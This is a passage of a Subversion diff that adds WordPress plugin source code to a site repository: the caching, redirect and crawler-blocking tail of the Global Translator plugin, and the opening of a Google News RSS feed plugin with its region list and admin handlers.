+  $stale_filename = $staledir . '/' . $lang . '/' . $hash;
+  
+  if(file_exists($filename) && (!is_readable($filename) || !is_writeable($filename))){
+  	return "<b>Global Translator has detected a problem with your filesystem permissions:<br />The cached file <em>$filename</em> cannot be read or modified. <br />Please chmod it in order to make it readable and writeable.</b>";
+  }
+  if(file_exists($stale_filename) && (!is_readable($stale_filename) || !is_writeable($stale_filename))){
+  	return "<b>Global Translator has detected a problem with your filesystem permissions:<br />The cached file <em>$stale_filename</em> cannot be read or modified. <br />Please chmod it in order to make it readable and writeable.</b>";
+  }
+  
+  if (file_exists($filename) && filesize($filename) > 0) {
+
+    // We are done, just return the file and exit
+    gltr_debug("gltr_get_page_content :: returning cached version ($hash) for url:" . gltr_get_self_url());
+    $page = gltr_load_cached_page($filename);
+    $page .= "<!--CACHED VERSION ($hash)-->";
+    
+    $page = gltr_insert_flag_bar($page); //could be skipped 
+		//check if needs to be scheduled for a new translation
+		$filetime_days = (time() - filemtime($filename)) / 86400;
+		
+		if (EXPIRE_TIME > 0 && $filetime_days >= EXPIRE_TIME ){
+			gltr_debug("gltr_get_page_content :: The file $filename has been created more than " . EXPIRE_TIME . " days ago. Scheduling for a new translation");
+			gltr_move_cached_file_to_stale($hash,$lang);
+		}
+
+  } else {
+
+    $url_to_translate = gltr_clean_url_to_translate();
+  	gltr_debug("gltr_get_page_content :: Connecting to engine for url:" . $url_to_translate);
+    $page = gltr_translate($lang);
+    //check the content to be cached
+		if (gltr_is_valid_translated_content($page)) {
+			$gltr_last_cached_url = gltr_get_self_url();
+      gltr_debug("gltr_get_page_content :: caching ($filename) [".strlen($page)."] url:" . $gltr_last_cached_url);
+      gltr_save_cached_page($page,$filename);
+      $page .= "<!--NOT CACHED VERSION: ($hash)-->";
+      if (file_exists($stale_filename)){
+      	unlink($stale_filename);
+      }
+    } else {
+    	gltr_debug("gltr_get_page_content :: translation not available. Switching to stale for url: $url_to_translate");
+	    if (file_exists($stale_filename) && filesize($stale_filename) > 0) {
+	      gltr_debug("gltr_get_page_content :: returning stale version ($hash) for url:" . $url_to_translate);
+
+	      $page = gltr_load_cached_page($stale_filename);
+		    $page = gltr_insert_flag_bar($page); //could be skipped 
+	      $page .= "<!--STALE VERSION: ($hash)-->";
+	 			$from_cache = true;
+	    } else {
+	    	
+			  $resource = gltr_build_translation_url(BASE_LANG, $lang, $url_to_translate);
+        //no cache, no translated,no stale
+	      	$page = gltr_make_server_redirect_page($resource);
+      }
+    }
+  }
+  
+  return $page;
+}
+
+function gltr_save_cached_page($data,$filename){
+	//gltr_debug("gltr_save_cached_page: Cache compression enabled = " . COMPRESS_CACHE);
+
+	if (COMPRESS_CACHE && function_exists('gzcompress')){
+		gltr_debug("gltr_save_cached_page :: using zlib for file: $filename");
+		$data = gzcompress($data, 9);
+	} else {
+		gltr_debug("gltr_save_cached_page :: NOT using zlib for file: $filename");
+	} 
+  $handle = fopen($filename, "wb");
+  if (flock($handle, LOCK_EX)) { // do an exclusive lock
+    fwrite($handle, $data); //write
+    flock($handle, LOCK_UN); // release the lock
+  } else {
+    fwrite($handle, $data); 
+  }
+  fclose($handle);
+}
+
+function gltr_load_cached_page($filename){
+	//gltr_debug("gltr_load_cached_page: Cache compression enabled = " . COMPRESS_CACHE);
+	$data = file_get_contents($filename);
+	
+	if (function_exists('gzuncompress')){
+		if (($tmp = @gzuncompress($data))){
+			$data = $tmp;
+			if (!COMPRESS_CACHE){
+				//save the unzipped version
+				gltr_save_cached_page($data,$filename);
+			}
+		} else if (COMPRESS_CACHE) {
+			//save the zipped version
+			gltr_save_cached_page(file_get_contents($filename),$filename);
+		}
+		
+	}
+	return $data;
+}
+
+function gltr_hashReqUri($uri) {
+	
+	$uri = urldecode($uri);//Adde
+  $req = preg_replace('/(.*)\/$/', '\\1', $uri);
+  $req = preg_replace('/#.*$/', '', $req);
+  $hash = str_replace(array('?','<','>',':','\\','/','*','|','"'), '_', $req);
+  return $hash;
+}
+/*
+function gltr_filter_content($content) {
+  global $gltr_result;
+  return $gltr_result;
+}
+*/
+function gltr_insert_my_rewrite_query_vars($vars) {
+  array_push($vars, 'lang', 'url');
+  return $vars;
+}
+
+function gltr_insert_my_rewrite_parse_query($query) {
+  global $gltr_cache_dir,$gltr_is_translated_page;
+  $gltr_result = "";
+
+  		  
+  if (isset($query->query_vars['lang'])) {
+  	$lang = $query->query_vars['lang'];
+    $url = $query->query_vars['url'];
+
+    if (empty($url)) {
+      $url = '';
+    }
+  	
+
+    if (!is_dir($gltr_cache_dir)){
+      if (!is_readable(WP_CONTENT_DIR) || !is_writable(WP_CONTENT_DIR) ){
+        header("HTTP/1.1 404 Not Found");
+        header("Status: 404 Not Found");
+        die ("Unable to complete Global Translator initialization. Plese make writable and readable the following directory:
+        <ul><li>".WP_CONTENT_DIR."</li></ul>");
+      }
+    }
+
+    if (gltr_not_translable_uri()){
+   		return;
+		}
+
+  	$chosen_langs = get_option('gltr_preferred_languages');
+
+		$can_translate = true;
+		$self_url = gltr_get_self_url();
+		$self_uri = preg_replace("/" . BLOG_HOME_ESCAPED . "/", '', $self_url);
+		
+  	if (!in_array($lang, $chosen_langs)){
+      $redirect = gltr_clean_url_to_translate($self_url);
+  		gltr_debug("Blocking request for not chosed language:$lang redirecting to original page: $redirect");
+  		header("Location: $redirect", TRUE, 302);
+  		die();
+  		//header("HTTP/1.1 404 Not Found");
+			//header("Status: 404 Not Found");
+  		//$gltr_result = NOT_FOUND;
+  		//$can_translate = false;
+  	}
+	  
+	  if (!gltr_is_user_agent_allowed() && BAN_PREVENTION){
+  		gltr_debug("Limiting bot/crawler access to resource:".$url);
+  		header("HTTP/1.1 404 Not Found");
+			header("Status: 404 Not Found");
+  		$gltr_result = NOT_FOUND;
+  		$can_translate = false;
+  	}
+  	
+  	if (preg_match("/^(" . LANGS_PATTERN . ")$/", $url) || 
+  			preg_match("/^(" . LANGS_PATTERN . ")\/(.+)$/", $url) ){
+  		gltr_debug("Fixing request for nested translation request:".$lang."|".$url."|".$self_url);
+  		$redirect = preg_replace("/(.*)\/(" . LANGS_PATTERN . ")\/(" . LANGS_PATTERN . ")\/(.*)$/", "\\1/\\2/\\4", $self_url);
+      header("Location: $redirect", TRUE, 302);
+      die();
+  		//header("HTTP/1.1 404 Not Found");
+			//header("Status: 404 Not Found");
+  		//$gltr_result = NOT_FOUND;
+  		//$can_translate = false;
+  	}
+    /*
+	  if (REWRITEON){
+			if (strpos($self_url,'?')===false && strpos($self_url,'&')>0){
+	  		gltr_debug("Blocking bad request:".$lang."|".$url);
+  		header("HTTP/1.1 404 Not Found");
+			header("Status: 404 Not Found");
+  		$gltr_result = NOT_FOUND;
+  		$can_translate = false;
+			} else if( (strpos($self_url,'?') === false) && 
+			           (substr($self_url, -1) != '/') && 
+			           (strpos($self_uri,'.') === false) ){
+	  		header("HTTP/1.1 302 Moved Temporarily");
+	  		header("Location: " . gltr_get_self_url() . '/');
+	  		die();  		
+  	}
+		}
+    */
+		if (REWRITEON && strpos($self_url,'?')===false){
+			if (strpos($self_url,'&')>0){
+        gltr_debug("Blocking bad request:".$lang."|".$url);
+	  		header("HTTP/1.1 404 Not Found");
+				header("Status: 404 Not Found");
+	  		$gltr_result = NOT_FOUND;
+	  		$can_translate = false;
+			} else if (substr($self_url, -1) != '/' && strpos($self_uri,'.') === false){
+	  		header("HTTP/1.1 302 Moved Temporarily");
+	  		header("Location: " . gltr_get_self_url() . '/');
+	  		die();  		
+			} else if (substr($self_url, -1) == '/' && strpos($self_uri,'.') !== false){
+        header("HTTP/1.1 302 Moved Temporarily");
+        $loc = rtrim(gltr_get_self_url(),'/');
+        header("Location: " . $loc);
+        die();      
+			}
+		}  	
+  	if ($can_translate) {
+      $gltr_result = gltr_get_page_content($lang, $url);
+		}
+		
+
+		die($gltr_result);
+  	//$end = round(microtime(true),4);
+  	//gltr_debug("Translated page serving total time:". ($end - $start) . " seconds");
+    
+  }
+}
+
+//thanks to Kaizeku Ban
+function gltr_add_options_page() {
+ $path = dirname(__FILE__).DIRECTORY_SEPARATOR;
+ $file = $path. 'options-translator.php';
+ add_options_page('Global Translator Options','Global Translator',8,$file);
+}
+
+function gltr_debug($msg) {
+  if (DEBUG) {
+    $today = date("Y-m-d H:i:s ");
+    $myFile = dirname(__file__) . "/debug.log";
+    $fh = fopen($myFile, 'a') or die("Can't open debug file. Please manually create the 'debug.log' file (inside the 'global-translator' directory) and make it writable.");
+    $ua_simple = preg_replace("/(.*)\s\(.*/","\\1",$_SERVER['HTTP_USER_AGENT']);
+    //fwrite($fh, $today . " [from: ".$_SERVER['REMOTE_ADDR']."|$ua_simple] - [mem:" . memory_get_usage() . "] " . $msg . "\n");
+    if (is_array($msg)){
+    	foreach($msg as $key => $item)
+    		fwrite($fh, $today . " [from: ".$_SERVER['REMOTE_ADDR']."|$ua_simple] - " . $key . "=>" . $item . "\n");
+    }else
+    	fwrite($fh, $today . " [from: ".$_SERVER['REMOTE_ADDR']."|$ua_simple] - " . $msg . "\n");
+    fclose($fh);
+  }
+}
+
+function gltr_debug_ua($msg) {
+  if (DEBUG_UA) {
+    $today = date("Y-m-d H:i:s ");
+    $myFile = dirname(__file__) . "/ua.log";
+    $fh = fopen($myFile, 'a') or die("Can't open debug file. Please manually create the 'ua.log' file (inside the 'global-translator' directory) and make it writable.");
+    $ua_simple = preg_replace("/(.*)\s\(.*/","\\1",$_SERVER['HTTP_USER_AGENT']);
+    //fwrite($fh, $today . " [from: ".$_SERVER['REMOTE_ADDR']."|$ua_simple] - [mem:" . memory_get_usage() . "] " . $msg . "\n");
+    fwrite($fh, $today . " [from: ".$_SERVER['REMOTE_ADDR']."|$ua_simple] - " . $msg . "\n");
+    fclose($fh);
+  }
+}
+
+function gltr_not_translable_uri(){
+	
+  $not_translable = array("share-this","download.php");
+  $url = gltr_get_self_url();
+  if (isset($url))
+    $url = strtolower($url);
+  else
+    $url = "";
+  if ($url == "") {
+    return false;
+  } else {
+    while (list($key, $val) = each($not_translable)) {
+      if (strstr($url, strtolower($val))) {
+        gltr_debug("Detected and blocked untranslable uri: $url");
+        return true;
+      }
+    }
+  }  
+  return false;
+}
+
+
+function gltr_is_browser() {
+  $browsers_ua = array(
+  "MSIE", 
+  "UP.Browser",
+  "Mozilla", 
+  "Opera", 
+  "NSPlayer", 
+  "Avant Browser",
+  "Konqueror",
+  "Safari",
+  "Netscape"  
+  );
+  if (isset($_SERVER['HTTP_USER_AGENT']))
+    $ua = strtoupper($_SERVER['HTTP_USER_AGENT']);
+  else
+    $ua = "";
+
+  if ($ua == "") {
+    return false;
+  } else {
+    while (list($key, $val) = each($browsers_ua)) {
+      if (strstr($ua, strtoupper($val))) {
+        return true;
+      }
+    }
+  }
+  return false;
+}
+
+function gltr_is_user_agent_allowed() {
+
+  $not_allowed = array("Wget", "EmailSiphon", "WebZIP", "MSProxy/2.0", "EmailWolf",
+    "webbandit", "MS FrontPage", "GetRight", "AdMuncher", "Sqworm", "SurveyBot",
+    "TurnitinBot", "WebMirror", "WebMiner", "WebStripper", "WebSauger", "WebReaper",
+    "WebSite eXtractor", "Teleport Pro", "CherryPicker", "Crescent Internet ToolPak",
+    "EmailCollect", "ExtractorPro", "NEWT ActiveX", "sexsearcher", "ia_archive",
+    "NameCrawler", "Email spider", "GetSmart", "Grabber", "GrabNet", "EmailHarvest",
+    "Go!Zilla", "LeechFTP", "Vampire", "SmartDownload", "Sucker", "SuperHTTP",
+    "Collector", "Zeus", "Telesoft", "URLBlaze", "VobSub", "Vacuum", "Space Bison",
+    "WinWAP", "3D-FTP", "Wapalizer", "DTS agent", "DA 5.", "NetAnts", "Netspider",
+    "Disco Pump", "WebFetch", "DiscoFinder", "NetZip", "Express WebPictures",
+    "Download Demon", "eCatch", "WebAuto", "Offline Expl", "HTTrack",
+    "Mass Download", "Mister Pix", "SuperBot", "WebCopier", "FlashGet", "larbin",
+    "SiteSnagger", "FlashGet", "NPBot", "Kontiki","Java","ETS V5.1",
+    "IDBot", "id-search", "libwww", "lwp-trivial", "curl", "PHP/", "urllib", 
+    "GT::WWW", "Snoopy", "MFC_Tear_Sample", "HTTP::Lite", "PHPCrawl", "URI::Fetch", 
+    "Zend_Http_Client", "http client", "PECL::HTTP","libwww-perl","SPEEDY SPIDER",
+    "YANDEX","YETI","DOCOMO","DUMBOT","PDFBOT","CAZOODLEBOT","RUNNK","ICHIRO",
+    "SPHERE SCOUT");
+
+  $allowed = array("compatible; MSIE", "T720", "MIDP-1.0", "AU-MIC", "UP.Browser",
+    "SonyEricsson", "MobilePhone SCP", "NW.Browser", "Mozilla", "UP.Link",
+    "Windows-Media-Player", "MOT-TA02", "Nokia", "Opera/7", "NSPlayer",
+    "GoogleBot", "Opera/6", "Panasonic", "Thinflow", "contype", "klondike", "UPG1",
+    "SEC-SGHS100", "Scooter", "almaden.ibm.com",
+    "SpaceBison/0.01 [fu] (Win67; X; ShonenKnife)", "Internetseer","MSNBOT-MEDIA/",
+    "MEDIAPARTNERS-GOOGLE","MSNBOT","Avant Browser","GIGABOT","OPERA");
+
+  if (isset($_SERVER['HTTP_USER_AGENT']))
+    $ua = strtoupper($_SERVER['HTTP_USER_AGENT']);
+  else
+    $ua = "";
+  if ($ua == "") {
+    return false;
+  } else {
+    while (list($key, $val) = each($not_allowed)) {
+      if (strstr($ua, strtoupper($val))) {
+        //gltr_debug("Detected and blocked user agent: $ua");
+        return false;
+      }
+    }
+  }
+
+  $notknown = 1;
+  while (list($key, $val) = each($allowed)) {
+    if (strstr($ua, strtoupper($val))) {
+      $notknown = 0;
+    }
+  }
+
+  if ($notknown) {
+    gltr_debug_ua("$ua");
+  }
+  return true;
+}
+
+function gltr_erase_common_cache_files($post_ID) {
+	global $gltr_cache_dir;
+	global $gltr_stale_dir;
+	global $gltr_engine;
+	
+	$start= round(microtime(true),4);
+	
+  $single_post_pattern = "";
+
+	$categories = array();
+	$tags =  array();
+	$patterns = array();
+
+	if (isset($post_ID)){
+		$post = get_post($post_ID); 
+		if ($post->post_status != 'publish'){
+			gltr_debug("Post not yet published (status=".$post->post_status."): no cached files to erase");
+			return;
+		} else {
+			gltr_debug("Post published ok to cached files erase");
+		}
+		if (function_exists('get_the_category')) $categories = get_the_category($post_ID);
+
+		if (function_exists('get_the_tags')) $tags = get_the_tags($post_ID);
+  	if (REWRITEON) {
+  		$uri = substr (get_permalink($post_ID), strlen(get_option('home')) );
+  		$single_post_pattern = gltr_hashReqUri($uri);
+			if (isset($categories) && is_array($categories)){
+				foreach($categories as $category) { 
+			    $patterns[] = '_category_' . strtolower($category->slug); 
+				} 
+			} else {
+		    $patterns[] = '_category_'; 
+			}
+			if (isset($tags) && is_array($tags)){
+				foreach($tags as $tag) { 
+			    $patterns[] = '_tag_' . $tag->slug; 
+				}
+			}else{
+		    $patterns[] = '_tag_'; 
+			}			
+  	} else {
+  		$single_post_pattern = $post_ID;
+			if (isset($categories) && is_array($categories)){
+				foreach($categories as $category) { 
+			    $patterns[] = '_cat=' . strtolower($category->cat_ID); 
+				} 
+			} else {
+		    $patterns[] = '_cat='; 
+			}
+			if (isset($tags) && is_array($tags)){
+				foreach($tags as $tag) { 
+			    $patterns[] = '_tag=' . $tag->slug;  
+				}
+			}else{
+		    $patterns[] = '_tag='; 
+			}
+  	}
+
+		$datepattern = "";
+		$post_time = $post->post_date;
+		if (isset($post_time) && function_exists('mysql2date')){
+			$year = mysql2date(__('Y'), $post_time);
+			$month = mysql2date(__('m'), $post_time);
+			//gltr_debug("==>post y=$year m=$month");
+			if (REWRITEON){
+				$datepattern = $year . "_" . $month;
+			} else {
+				$datepattern = "$year$month";
+			}
+		} else {
+			if (REWRITEON){
+				$datepattern = "[0-9]{4}_[0-9]{2}";
+			} else {
+				$datepattern = "[0-9]{6}";
+			}
+		}
+  	
+  	
+	} else {
+			gltr_debug("Post ID not set");
+	}
+	
+  $transl_map = $gltr_engine->get_languages_matrix();
+  $translations = $transl_map[BASE_LANG];
+  foreach ($translations as $key => $value) {
+	  $cachedir = $gltr_cache_dir . "/$key";
+	  gltr_debug("begin clean $key");
+  if (file_exists($cachedir) && is_dir($cachedir) && is_readable($cachedir)) {
+    $handle = opendir($cachedir);
+    while (FALSE !== ($item = readdir($handle))) {
+    	if( $item != '.' && $item != '..' && $item != 'stale' && !is_dir($item)){
+	    		gltr_delete_empty_cached_file($item,$key);
+    		$donext = true;
+				foreach($patterns as $pattern) { 
+          if(strstr($item, $pattern)){
+	            gltr_move_cached_file_to_stale($item,$key);
+            $donext = false;
+            break;
+          }
+				} 
+				if ($donext){
+		    	if (REWRITEON) {
+		        if(	preg_match('/_(' . LANGS_PATTERN . ')_'.$datepattern.'$/', $item) ||
+								preg_match('/_(' . LANGS_PATTERN . ')_page_[0-9]+$/', $item) ||
+								preg_match('/_(' . LANGS_PATTERN . ')$/', $item) ||
+								preg_match('/_(' . LANGS_PATTERN . ')'.$single_post_pattern.'$/', $item)) {
+			        		gltr_move_cached_file_to_stale($item,$key);
+		        }
+		      } else {
+		      	//no rewrite rules
+		        if(	preg_match('/_p='.$single_post_pattern.'$/', $item) ||
+		        		preg_match('/_paged=[0-9]+$/', $item) ||
+		        		preg_match('/_m='.$datepattern.'$/', $item) ||
+		        		preg_match('/_lang=(' . LANGS_PATTERN . ')$/', $item)) {
+			        		gltr_move_cached_file_to_stale($item,$key);
+		        }
+		      }
+		    }
+    	}
+    }
+    closedir($handle);
+  }
+  }
+  //gltr_debug("end clean");
+  $end= round(microtime(true),4);
+ 	gltr_debug("Cache cleaning process total time:". ($end - $start) . " seconds");
+
+  
+}
+
+function gltr_delete_empty_cached_file($filename,$lang){
+	global $gltr_cache_dir;
+	global $gltr_stale_dir;
+  $cachedir = $gltr_cache_dir."/$lang";
+  $path = $cachedir.'/'.$filename;
+  if (file_exists($path) && is_file($path) && filesize($path) == 0){
+    gltr_debug("Erasing empty file: $path");
+  	unlink($path);
+  }
+}
+
+
+function gltr_move_to_new_cache_loc($filename,$lang){
+	global $gltr_cache_dir;
+
+	$cachedir = dirname(__file__) . '/cache';
+  if (is_dir($cachedir)) {
+  $src = $cachedir . '/' . $filename;
+  $dst = $gltr_cache_dir . '/' . $filename;
+  if (file_exists($src) && !file_exists($dst) ){
+	  if (!@rename($src,$dst)){
+		  gltr_debug("Unable to move cached file $src to stale $dst");
+	  } else {
+		  gltr_debug("Moving cached file $src to stale $dst");
+	  }
+	}
+}
+  gltr_mkdir($gltr_cache_dir . '/' . $lang);
+  $src = $gltr_cache_dir . '/' . $filename;
+  $dst = $gltr_cache_dir . '/' . $lang . '/' . $filename;
+  if (file_exists($src) && !file_exists($dst)){
+    if (!@rename($src,$dst)){
+      gltr_debug("Unable to move cached file $src to cache/lang $dst");
+    } else {
+      gltr_debug("Moving cached file $src to cache/lang $dst");
+    }
+  }  
+}
+
+function gltr_move_to_new_stale_loc($filename,$lang){
+	global $gltr_stale_dir;
+
+	$staledir = dirname(__file__) . '/cache/stale';
+  if (is_dir($staledir)) {
+  $src = $staledir . '/' . $filename;
+  $dst = $gltr_stale_dir . '/' . $filename;
+  if (file_exists($src) && !file_exists($dst)){
+		if (!@rename($src,$dst)){
+		  gltr_debug("Unable to move cached file $src to stale $dst");
+	  } else {
+		  gltr_debug("Moving cached file $src to stale $dst");
+	  }
+	}
+}
+
+  gltr_mkdir($gltr_stale_dir . '/' . $lang);
+  $src = $gltr_stale_dir . '/' . $filename;
+  $dst = $gltr_stale_dir . '/' . $lang . '/' . $filename;
+  if (file_exists($src) && !file_exists($dst)){
+    if (!@rename($src,$dst)){
+      gltr_debug("Unable to move stale file $src to stale/lang $dst");
+    } else {
+      gltr_debug("Moving stale file $src to stale/lang $dst");
+    }
+  }
+}
+
+function gltr_move_cached_file_to_stale($filename,$lang){
+	global $gltr_cache_dir;
+	global $gltr_stale_dir;
+	$cachedir = $gltr_cache_dir."/$lang";
+	$staledir = $gltr_stale_dir."/$lang";
+
+  $src = $cachedir . '/' . $filename;
+  $dst = $staledir . '/' . $filename;
+  if (!@rename($src,$dst)){
+	  gltr_debug("Unable to move cached file $src to stale $dst");
+  } else {
+	  gltr_debug("Moving cached file $src to stale $dst");
+  }
+}
+
+function gltr_delete_cached_file($filename,$lang){
+	global $gltr_cache_dir;
+  $cachedir = $gltr_cache_dir."/$lang";
+  $path = $cachedir.'/'.$filename;
+  if (file_exists($path) && is_file($path)){
+    gltr_debug("Erasing $path");
+  	unlink($path);
+  }
+
+}
+
+function widget_global_translator_init() {
+
+  if(!function_exists('register_sidebar_widget')) { return; }
+  function widget_global_translator($args) {
+    extract($args);
+    echo $before_widget . $before_title . "Translator" . $after_title;
+    gltr_build_flags_bar();
+    echo $after_widget;
+  }
+  register_sidebar_widget('Global Translator','widget_global_translator');
+
+}
+add_action('plugins_loaded', 'widget_global_translator_init');
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-news/google_news.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-news/google_news.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-news/google_news.php	(revision 44)
@@ -0,0 +1,898 @@
+<?php
+/*
+Plugin Name: Google News
+Description: Displays a selectable Google News RSS feed, inline, widget or in theme.
+Version:     2.5
+Author:      Olav Kolbu
+Author URI:  http://www.kolbu.com/
+Plugin URI:  http://www.kolbu.com/2008/04/07/google-news-plugin/
+License:     GPL
+
+Minor parts of WordPress-specific code from various other GPL plugins.
+
+TODO: Multiple widget instances support (possibly)
+      Internationalize more output
+      See if nofollow should be added on links
+*/
+/*
+Copyright (C) 2008 kolbu.com (olav AT kolbu DOT com)
+
+This program is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation; either version 3 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with this program.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+include_once(ABSPATH . WPINC . '/rss.php');
+
+global $google_news_instance;
+
+if ( ! class_exists('google_news_plugin')) {
+    class google_news_plugin {
+
+        // So we don't have to query database on every replacement
+        var $settings;
+
+        var $regions = array(
+            'Australia' => 'au',
+            'India' => 'in',
+            'Israel' => 'en_il',
+            'Malaysia' => 'en_my',
+            'New Zealand' => 'nz',
+            'Pakistan' => 'en_pk',
+            'Philippines' => 'en_ph',
+            'Singapore' => 'en_sg',
+            '&#1575;&#1604;&#1593;&#1575;&#1604;&#1605; &#1575;&#1604;&#1593;&#1585;&#1576;&#1610; (Arabic)' => 'ar_me',
+            '&#20013;&#22269;&#29256; (China)' => 'cn',
+            '&#39321;&#28207;&#29256; (Hong Kong)' => 'hk',
+            '&#2349;&#2366;&#2352;&#2340; (India)' => 'hi_in',
+            '&#2980;&#2990;&#3007;&#2996;&#3021; (India)' => 'ta_in',
+            '&#3374;&#3378;&#3375;&#3390;&#3379;&#3330; (India)' => 'ml_in',
+            '&#3108;&#3142;&#3122;&#3137;&#3095;&#3137; (India)' => 'te_in',
+            '&#1497;&#1513;&#1512;&#1488;&#1500; (Israel)' => 'iw_il',
+            '&#26085;&#26412; (Japan)' => 'jp',
+            '&#54620;&#44397; (Korea)' => 'kr',
+            '&#21488;&#28771;&#29256; (Taiwan)' => 'tw',
+	    'Viá»t Nam (Vietnam)' => 'vi_vn',
+            '-------------' => 'us',
+            'BelgiÃ«' => 'nl_be',
+            'Belgique' => 'fr_be',
+            'Botswana' => 'en_bw',
+            'ÄeskÃ¡ republika' => 'cs_cz',
+            'Deutschland' => 'de',
+            'EspaÃ±a' => 'es',
+            'Ethiopia' => 'en_et',
+            'France' => 'fr',
+            'Ghana' => 'en_gh',
+            'Ireland' => 'en_ie',
+            'Italia' => 'it',
+            'Kenya' => 'en_ke',
+            'MagyarorszÃ¡g' => 'hu_hu',
+            'Namibia' => 'en_na',
+            'Nederland' => 'nl_nl',
+            'Nigeria' => 'en_ng',
+            'Norge' => 'no_no',
+            'Ãsterreich' => 'de_at',
+            'Polska' => 'pl_pl',
+            'Portugal' => 'pt:PT_pt',
+            'Schweiz' => 'de_ch',
+            'South Africa' => 'en_za',
+            'Suisse' => 'fr_ch',
+            'Sverige' => 'sv_se',
+            'Tanzania' => 'en_tz',
+            'TÃŒrkiye' => 'tr_tr',
+            'Uganda' => 'en_ug',
+            'U.K.' => 'uk',
+            'Zimbabwe' => 'en_zw',
+            '&#917;&#955;&#955;&#940;&#948;&#945; (Greece)' => 'el_gr',
+            '&#1056;&#1086;&#1089;&#1089;&#1080;&#1103; (Russia)' => 'ru_ru',
+	    '&#1059;&#1082;&#1088;&#1072;&#1080;&#1085;&#1072; (Ukraine)' => 'ru_ua',
+	    '&#1059;&#1082;&#1088;&#1072;&#1111;&#1085;&#1072; (Ukraine)' => 'uk_ua',
+            '------------' => 'us',
+            'Argentina' => 'es_ar',
+            'Brasil' => 'pt:BR_br',
+            'Canada English' => 'ca',
+            'Canada FranÃ§ais' => 'fr_ca',
+            'Chile' => 'es_cl',
+            'Colombia' => 'es_co',
+            'Cuba' => 'es_cu',
+            'Estados Unidos' => 'es_us',
+            'MÃ©xico' => 'es_mx',
+            'PerÃº' => 'es_pe',
+            'U.S.' => 'us',
+            'Venezuela' => 'es_ve',
+        );
+
+        var $newstypes = array(
+            'All' => '',
+            'Top News' => 'h',
+            'Foreign' => 'w',
+            'Domestic' => 'n',
+            'Business' => 'b',
+            'Sci/Tech' => 't',
+            'Health' => 'm',
+            'Sports' => 's',
+            'Entertainment' => 'e',
+        );
+
+        var $outputtypes = array(
+            'Standard' => '',
+            'Text Only' => 't',
+            'With Images' => '&imv=1',
+        );
+
+        var $desctypes = array(
+            'Short' => '',
+            'Long' => 'l',
+        );
+
+        // Constructor
+        function google_news_plugin() {
+
+            // Form POSTs dealt with elsewhere
+            if ( is_array($_POST) ) {
+                if ( $_POST['google_news-widget-submit'] ) {
+                    $tmp = $_POST['google_news-widget-feed'];
+                    $alloptions = get_option('google_news');
+                    if ( $alloptions['widget-1'] != $tmp ) {
+                        if ( $tmp == '*DEFAULT*' ) {
+                            $alloptions['widget-1'] = '';
+                        } else {
+                            $alloptions['widget-1'] = $tmp;
+                        }
+                        update_option('google_news', $alloptions);
+                    }
+                } else if ( $_POST['google_news-options-submit'] ) {
+                    // noop
+                } else if ( $_POST['google_news-submit'] ) {
+                    // noop
+                }
+            }
+
+	    add_filter('the_content', array(&$this, 'insert_news')); 
+            add_action('admin_menu', array(&$this, 'admin_menu'));
+            add_action('plugins_loaded', array(&$this, 'widget_init'));
+
+            // Hook for theme coders/hackers
+            add_action('google_news', array(&$this, 'display_feed'));
+
+            // Makes it backwards compat pre-2.5 I hope
+            if ( function_exists('add_shortcode') ) {
+                add_shortcode('google-news', array(&$this, 'my_shortcode_handler'));
+             }
+
+        }
+
+        // *************** Admin interface ******************
+
+        // Callback for admin menu
+        function admin_menu() {
+            add_options_page('Google News Options', 'Google News',
+                             'administrator', __FILE__, 
+                              array(&$this, 'plugin_options'));
+            add_management_page('Google News', 'Google News', 
+                                'administrator', __FILE__,
+                                array(&$this, 'admin_manage'));
+               
+        }
+
+        // Settings -> Google News
+        function plugin_options() {
+
+           if (get_bloginfo('version') >= '2.7') {
+               $manage_page = 'tools.php';
+            } else {
+               $manage_page = 'edit.php';
+            }
+            print <<<EOT
+            <div class="wrap">
+            <h2>Google News</h2>
+            <p>This plugin allows you to define a number of Google News 
+               feeds and have them displayed anywhere in content, in a widget
+               or in a theme. Any number of inline replacements or theme
+               inserts can be made, but only one widget instance is
+               permitted in this release. To use the feeds insert one or more
+               of the following special html comments or Shortcodes 
+               anywhere in user content. Note that Shortcodes, i.e. the
+               ones using square brackets, are only available in 
+               WordPress 2.5 and above.<p>
+               <ul><li><b>&lt;--google-news--&gt</b> (for default feed)</li>
+               <li><b>&lt;--google-news#feedname--&gt</b></li>
+               <li><b>[google-news]</b> (also for default feed)</li>
+               <li><b>[google-news name="feedname"]</b></li></ul><p>
+               To insert in a theme call <b>do_action('google_news');</b> or 
+               alternatively <b>do_action('google_news', 'feedname');</b><p>
+               To manage feeds, go to <a href="$manage_page?page=google-news/google_news.php">Manage -> Google News</a>, where you will also find more information.<p>
+               <a href="http://www.kolbu.com/donations/">Donations Page</a>... ;-)<p>
+               <a href="http://www.kolbu.com/2008/04/07/google-news-plugin/">Widget Home Page</a>, leave a comment if you have questions etc.<p>
+               <a href="http://www.google.com/support/news/bin/answer.py?hl=en&answer=59255">Google Terms Of Use</a><p>
+    
+
+EOT;
+        }
+
+        // Manage -> Google News
+        function admin_manage() {
+            // Edit/delete links
+            $mode = trim($_GET['mode']);
+            $id = trim($_GET['id']);
+
+            $this->upgrade_options();
+
+            $alloptions = get_option('google_news');
+
+            $flipregions     = array_flip($this->regions);
+            $flipnewstypes   = array_flip($this->newstypes);
+            $flipoutputtypes = array_flip($this->outputtypes);
+            $flipdesctypes   = array_flip($this->desctypes);
+
+            if ( is_array($_POST) && $_POST['google_news-submit'] ) {
+
+                $newoptions = array();
+                $id                       = $_POST['google_news-id'];
+
+                $newoptions['name']       = $_POST['google_news-name'];
+                $newoptions['title']      = $_POST['google_news-title'];
+                $newoptions['region']     = $_POST['google_news-region'];
+                $newoptions['newstype']   = $_POST['google_news-newstype'];
+                $newoptions['outputtype'] = $_POST['google_news-outputtype'];
+                $newoptions['desctype']   = $_POST['google_news-desctype'];
+                $newoptions['numnews']    = $_POST['google_news-numnews'];
+                $newoptions['query']      = $_POST['google_news-query'];
+                $newoptions['feedtype']   = $flipregions[$newoptions['region']].' : '.
